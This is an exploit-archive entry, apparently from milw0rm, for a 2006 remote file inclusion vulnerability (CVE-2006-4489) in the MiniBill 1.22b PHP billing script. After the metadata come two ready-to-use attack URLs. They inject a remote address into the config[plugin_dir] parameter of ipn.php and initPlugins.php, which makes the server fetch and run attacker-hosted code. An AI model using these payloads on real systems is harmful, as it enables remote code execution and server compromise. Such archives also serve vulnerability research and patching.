MiniBill 1.22b - config[plugin_dir] Remote File Inclusion

Author: the master
type: webapps
platform: php
port: 
date_added: 2006-08-28 
date_updated:  
verified: 1 
codes: OSVDB-28259;CVE-2006-4489;OSVDB-28258 
tags: 
aliases:  
screenshot_url:  
application_url: 

########################################################################
#  MiniBill v1.22 Beta  Remote File Inclusion Vulnerability
#
#  Download: http://www.ultrize.com/minibill/download/minibill-20060714.zip
#
#  Found By: the master
#
########################################################################
#  exploit:
#
#
http://[Target]/[Path]/actions/ipn.php?config[plugin_dir]=http://cmd.gif?
#
http://[Target]/[Path]/include/initPlugins.php?config[plugin_dir]=http://cmd.gif?
########################################################################

# milw0rm.com [2006-08-29]